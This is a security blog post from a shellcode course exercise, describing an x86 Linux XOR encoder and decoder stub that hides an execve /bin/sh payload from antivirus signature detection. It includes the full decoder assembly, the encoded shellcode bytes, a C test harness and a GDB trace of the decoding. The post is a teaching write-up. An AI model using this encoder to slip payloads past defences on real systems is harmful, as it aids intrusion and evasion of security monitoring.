Shellcode XOR Encoder and Decoder for Linux (x86)

Next I wanted to cover the shellcode XOR encoder and decoder that I wrote during the SLAE course.

Shellcode XOR Encoder and Decoder - Introduction

If you are not familiar, you use a shellcode encoder/decoder to hide the shellcode from AV signature detection.

First, you place the encoded shellcode inside of the decoder application, and then the application proceeds to decode the shellcode. Once the decoding is complete, the decoder stub jumps to the shellcode, and it executes it.

While the shellcode is now harder to detect with signature detection, note that the decoder stub itself could be detected.

XOR Encoding/Decoding

If you are unfamiliar with the XOR operator, it performs an exclusive OR.

For example, the following truth table covers the 4 possibilities.

  • NOT A xor NOT B = 0
  • A xor B = 0
  • A xor NOT B = 1
  • NOT A xor B = 1

In this case, we will use a property of XOR that makes it easily reversible.

  • (A xor B) xor B = A

This means that we encode our original shellcode byte (A) with the encoding byte (B). Then, during the decoder process, we just need to XOR the encoded byte with the encoder byte (B), to get the original shellcode byte (A).

Here is a great image from mutti that breaks down the process.

Shellcode XOR Encoder - Formula

To perform the encoding and decoding process, you do the following four steps (via SLAE.

  1. Select an encoder byte, i.e.: 0xAA
  2. XOR every byte of the Shellcode with 0xAA
  3. Write a decoder stub that will XOR the encoded shellcode bytes with 0xAA (thereby recovering the original shellcode)
  4. Pass control from the decoder stub to the decoded shellcode

With all of that in mind, let's jump into the code!

Shellcode XOR Encoder and Decoder - The Code

First, I’ll start by just sharing my final application code. It is very well commented, but I’ll also explain it a bit further below.

As you can see, it uses the same JMP-CALL-POP technique as my Hello World shellcode.

The xor operation is fairly straightforward, and then the application loops through the decode process until it reaches the "marker".

I used a marker of 0xAA to note the end of the payload. The application will exit before it attempts to execute this null-byte, and it isn't an actual null in our compiled shellcode, since we've encoded the byte.

; Filename: xor_decoder_marker.nasm
; Author: Ray Doyle (@doylersec)
; Website: https://www.doyler.net
;
; Purpose: XOR Decoder with variable length payload

global _start            

section .text
_start:
    ; JMP-CALL-POP allows the application to be written without any hardcoded addresses (unlike 'mov ecx, Shellcode')
    jmp short call_decoder

decoder:
    ; Move the pointer to the encoded Shellcode into ESI off of the stack
    pop esi

decode:
    ; XOR the byte pointed to by ESI by 0xAA - this was the value chosen during encoding, but can be modified
    xor byte [esi], 0xAA

    ; If the zero flag is set (this will only occur if [ESI] xor 0xAA is zero, so only when a null byte was encoded), then jump to the shellcode
    ; This is utilized to mark the end of the shellcode, so that a length variable is not needed
    jz Shellcode

    ; Increment ESI to decode the next byte of shellcode
    inc esi

    ; Loop back through decode
    jmp short decode

call_decoder:
    call decoder

    ; The encoded shellcode
    Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a,0xaa

Compiling, Converting to Shellcode, and Testing

First, I compiled and linked my assembly to create a binary.

doyler@slae:~/slae/module2-7$ nasm -f elf32 -o xor_decoder_marker.o xor_decoder_marker.nasm 
doyler@slae:~/slae/module2-7$ ld -o xor_decoder_marker xor_decoder_marker.o

Next, I used the one-liner to extract the shellcode, add it to my wrapper, and then compiled it.

doyler@slae:~/slae/module2-7$ objdump -d ./xor_decoder_marker|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x09\x5e\x80\x36\xaa\x74\x08\x46\xeb\xf8\xe8\xf2\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a\xaa"
doyler@slae:~/slae/module2-7$ vi shellcode.c
doyler@slae:~/slae/module2-7$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c

Finally, I executed the application to make sure that it worked. In this case, I'm just reusing Vivek's execve (/bin/sh) shellcode from an earlier chapter.

doyler@slae:~/slae/module2-7$ ./shellcode
Shellcode Length:  42
$
$
$ exit

Tracing Execution

I also used GDB to trace the program's execution, and watch the decoder at work.

To start, the shellcode is still clearly encrypted, as expected.

doyler@slae:~/slae/module2/module2-7$ gdb -q shellcode
Reading symbols from /home/doyler/slae/module2/module2-7/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x80483e8
(gdb) r
Starting program: /home/doyler/slae/module2/module2-7/shellcode

Breakpoint 1, 0x080483e8 in main ()
(gdb) print/x &code
$1 = 0x804a040
(gdb) break *0x804a040
Breakpoint 2 at 0x804a040
(gdb) disassemble
Dump of assembler code for function main:
   0x080483e4 <+0>:    push   ebp
   0x080483e5 <+1>:    mov    ebp,esp
   0x080483e7 <+3>:    push   edi
=> 0x080483e8 <+4>:    and    esp,0xfffffff0
   0x080483eb <+7>:    sub    esp,0x30
   0x080483ee <+10>:    mov    eax,0x804a040
   0x080483f3 <+15>:    mov    DWORD PTR [esp+0x1c],0xffffffff
   0x080483fb <+23>:    mov    edx,eax
   0x080483fd <+25>:    mov    eax,0x0
   0x08048402 <+30>:    mov    ecx,DWORD PTR [esp+0x1c]
   0x08048406 <+34>:    mov    edi,edx
   0x08048408 <+36>:    repnz scas al,BYTE PTR es:[edi]
   0x0804840a <+38>:    mov    eax,ecx
   0x0804840c <+40>:    not    eax
   0x0804840e <+42>:    lea    edx,[eax-0x1]
   0x08048411 <+45>:    mov    eax,0x8048510
   0x08048416 <+50>:    mov    DWORD PTR [esp+0x4],edx
   0x0804841a <+54>:    mov    DWORD PTR [esp],eax
   0x0804841d <+57>:    call   0x8048300 <printf@plt>
   0x08048422 <+62>:    mov    DWORD PTR [esp+0x2c],0x804a040
   0x0804842a <+70>:    mov    eax,DWORD PTR [esp+0x2c]
   0x0804842e <+74>:    call   eax
   0x08048430 <+76>:    mov    edi,DWORD PTR [ebp-0x4]
   0x08048433 <+79>:    leave  
   0x08048434 <+80>:    ret    
End of assembler dump.
(gdb) c
Continuing.
Shellcode Length:  42

Breakpoint 2, 0x0804a040 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>:    jmp    0x804a04b <code+11>
   0x0804a042 <+2>:    pop    esi
   0x0804a043 <+3>:    xor    BYTE PTR [esi],0xaa
   0x0804a046 <+6>:    je     0x804a050 <code+16>
   0x0804a048 <+8>:    inc    esi
   0x0804a049 <+9>:    jmp    0x804a043 <code+3>
   0x0804a04b <+11>:    call   0x804a042 <code+2>
   0x0804a050 <+16>:    fwait
   0x0804a051 <+17>:    push   0xfffffffa
   0x0804a053 <+19>:    ret    0x8585
   0x0804a056 <+22>:    fld    st(2)
   0x0804a058 <+24>:    ret    0xc885
   0x0804a05b <+27>:    ret    
   0x0804a05c <+28>:    les    esp,FWORD PTR [ebx]
   0x0804a05e <+30>:    dec    ecx
   0x0804a05f <+31>:    cli    
   0x0804a060 <+32>:    and    ecx,DWORD PTR [eax-0x7]
   0x0804a063 <+35>:    and    ecx,DWORD PTR [ebx+0x1a]
   0x0804a066 <+38>:    mov    eax,ds:0xaa2a67
End of assembler dump.
(gdb) x/45xb 0x0804a050
0x804a050 <code+16>:    0x9b    0x6a    0xfa    0xc2    0x85    0x85    0xd9    0xc2
0x804a058 <code+24>:    0xc2    0x85    0xc8    0xc3    0xc4    0x23    0x49    0xfa
0x804a060 <code+32>:    0x23    0x48    0xf9    0x23    0x4b    0x1a    0xa1    0x67
0x804a068 <code+40>:    0x2a    0xaa    0x00    0x00    0x00    0x00    0x00    0x00
0x804a070 <dtor_idx.6161>:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x804a078:    0x00    0x00    0x00    0x00    0x00
(gdb) shell cat shellcode.c
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x09\x5e\x80\x36\xaa\x74\x08\x46\xeb\xf8\xe8\xf2\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a\xaa";

main()
{

    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

}

    
(gdb) x/10i 0x0804a050
   0x804a050 <code+16>:    fwait
   0x804a051 <code+17>:    push   0xfffffffa
   0x804a053 <code+19>:    ret    0x8585
   0x804a056 <code+22>:    fld    st(2)
   0x804a058 <code+24>:    ret    0xc885
   0x804a05b <code+27>:    ret    
   0x804a05c <code+28>:    les    esp,FWORD PTR [ebx]
   0x804a05e <code+30>:    dec    ecx
   0x804a05f <code+31>:    cli    
   0x804a060 <code+32>:    and    ecx,DWORD PTR [eax-0x7]

After stepping a few times, we can see that the decoder is doing its job, and the original shellcode is starting to return.

(gdb) stepi
Dump of assembler code for function code:
   0x0804a040 <+0>:    jmp    0x804a04b <code+11>
   0x0804a042 <+2>:    pop    esi
   0x0804a043 <+3>:    xor    BYTE PTR [esi],0xaa
=> 0x0804a046 <+6>:    je     0x804a050 <code+16>
   0x0804a048 <+8>:    inc    esi
   0x0804a049 <+9>:    jmp    0x804a043 <code+3>
   0x0804a04b <+11>:    call   0x804a042 <code+2>
   0x0804a050 <+16>:    xor    eax,eax
   0x0804a052 <+18>:    push   eax
   0x0804a053 <+19>:    push   0xc2d9852f
   0x0804a058 <+24>:    ret    0xc885
   0x0804a05b <+27>:    ret    
   0x0804a05c <+28>:    les    esp,FWORD PTR [ebx]
   0x0804a05e <+30>:    dec    ecx
   0x0804a05f <+31>:    cli    
   0x0804a060 <+32>:    and    ecx,DWORD PTR [eax-0x7]
   0x0804a063 <+35>:    and    ecx,DWORD PTR [ebx+0x1a]
   0x0804a066 <+38>:    mov    eax,ds:0xaa2a67
End of assembler dump.
0x804a050 <code+16>:    0x31
   0x804a050 <code+16>:    xor    eax,eax
   0x804a052 <code+18>:    push   eax
   0x804a053 <code+19>:    push   0xc2d9852f
   0x804a058 <code+24>:    ret    0xc885
   0x804a05b <code+27>:    ret    
   0x804a05c <code+28>:    les    esp,FWORD PTR [ebx]
   0x804a05e <code+30>:    dec    ecx
   0x804a05f <code+31>:    cli    
   0x804a060 <code+32>:    and    ecx,DWORD PTR [eax-0x7]
   0x804a063 <code+35>:    and    ecx,DWORD PTR [ebx+0x1a]
0x0804a046 in code ()

Finally, after a few more loops, the shellcode matches our un-encoded version!

(gdb)
Dump of assembler code for function code:
   0x0804a040 <+0>:    jmp    0x804a04b <code+11>
   0x0804a042 <+2>:    pop    esi
   0x0804a043 <+3>:    xor    BYTE PTR [esi],0xaa
=> 0x0804a046 <+6>:    je     0x804a050 <code+16>
   0x0804a048 <+8>:    inc    esi
   0x0804a049 <+9>:    jmp    0x804a043 <code+3>
   0x0804a04b <+11>:    call   0x804a042 <code+2>
   0x0804a050 <+16>:    xor    eax,eax
   0x0804a052 <+18>:    push   eax
   0x0804a053 <+19>:    push   0x68732f2f
   0x0804a058 <+24>:    push   0x6e69622f
   0x0804a05d <+29>:    mov    DWORD PTR [ecx-0x6],ecx
   0x0804a060 <+32>:    and    ecx,DWORD PTR [eax-0x7]
   0x0804a063 <+35>:    and    ecx,DWORD PTR [ebx+0x1a]
   0x0804a066 <+38>:    mov    eax,ds:0xaa2a67
End of assembler dump.
0x804a050 <code+16>:    0x31
   0x804a050 <code+16>:    xor    eax,eax
   0x804a052 <code+18>:    push   eax
   0x804a053 <code+19>:    push   0x68732f2f
   0x804a058 <code+24>:    push   0x6e69622f
   0x804a05d <code+29>:    mov    DWORD PTR [ecx-0x6],ecx
   0x804a060 <code+32>:    and    ecx,DWORD PTR [eax-0x7]
   0x804a063 <code+35>:    and    ecx,DWORD PTR [ebx+0x1a]
   0x804a066 <code+38>:    mov    eax,ds:0xaa2a67
   0x804a06b:    add    BYTE PTR [eax],al
   0x804a06d:    add    BYTE PTR [eax],al
0x0804a046 in code ()
(gdb) break *0x804a050
Breakpoint 3 at 0x804a050
(gdb) c
Continuing.
Dump of assembler code for function code:
   0x0804a040 <+0>:    jmp    0x804a04b <code+11>
   0x0804a042 <+2>:    pop    esi
   0x0804a043 <+3>:    xor    BYTE PTR [esi],0xaa
   0x0804a046 <+6>:    je     0x804a050 <code+16>
   0x0804a048 <+8>:    inc    esi
   0x0804a049 <+9>:    jmp    0x804a043 <code+3>
   0x0804a04b <+11>:    call   0x804a042 <code+2>
=> 0x0804a050 <+16>:    xor    eax,eax
   0x0804a052 <+18>:    push   eax
   0x0804a053 <+19>:    push   0x68732f2f
   0x0804a058 <+24>:    push   0x6e69622f
   0x0804a05d <+29>:    mov    ebx,esp
   0x0804a05f <+31>:    push   eax
   0x0804a060 <+32>:    mov    edx,esp
   0x0804a062 <+34>:    push   ebx
   0x0804a063 <+35>:    mov    ecx,esp
   0x0804a065 <+37>:    mov    al,0xb
   0x0804a067 <+39>:    int    0x80
   0x0804a069 <+41>:    add    BYTE PTR [eax],al
End of assembler dump.
0x804a050 <code+16>:    0x31
=> 0x804a050 <code+16>:    xor    eax,eax
   0x804a052 <code+18>:    push   eax
   0x804a053 <code+19>:    push   0x68732f2f
   0x804a058 <code+24>:    push   0x6e69622f
   0x804a05d <code+29>:    mov    ebx,esp
   0x804a05f <code+31>:    push   eax
   0x804a060 <code+32>:    mov    edx,esp
   0x804a062 <code+34>:    push   ebx
   0x804a063 <code+35>:    mov    ecx,esp
   0x804a065 <code+37>:    mov    al,0xb

Breakpoint 3, 0x0804a050 in code ()
(gdb) shell cat execve-stack.nasm
; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  http://securitytube.net
; Training: http://securitytube-training.com
;
;
; Purpose:

global _start            

section .text
_start:

    ; PUSH the first null dword
    xor eax, eax
    push eax

    ; PUSH //bin/sh (8 bytes)

    push 0x68732f2f
    push 0x6e69622f

    mov ebx, esp

    push eax
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80
(gdb) exit
Undefined command: "exit".  Try "help".
(gdb) quit
A debugging session is active.

    Inferior 1 [process 21053] will be killed.

Quit anyway? (y or n) y

Shellcode XOR Encoder and Decoder - Conclusion

This encoder was pretty fun, and definitely lowered the detection rate on my execve payload.

You can find the code, and any updates, in my GitHub repository.

I apologize for my naming conventions being all over the place. I've been switching between underscores and dashes almost every exercise. This is something that I'd love to clean up in the future, but feel free to submit a pull request.

I was going to include a NOT encoder in this post as well. That said, after brushing up on my bitwise operations, I realized that NOT is the same as (and actually slower than) XOR 0xFF.

If you have any suggestions, or ideas for future posts, then please let me know.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.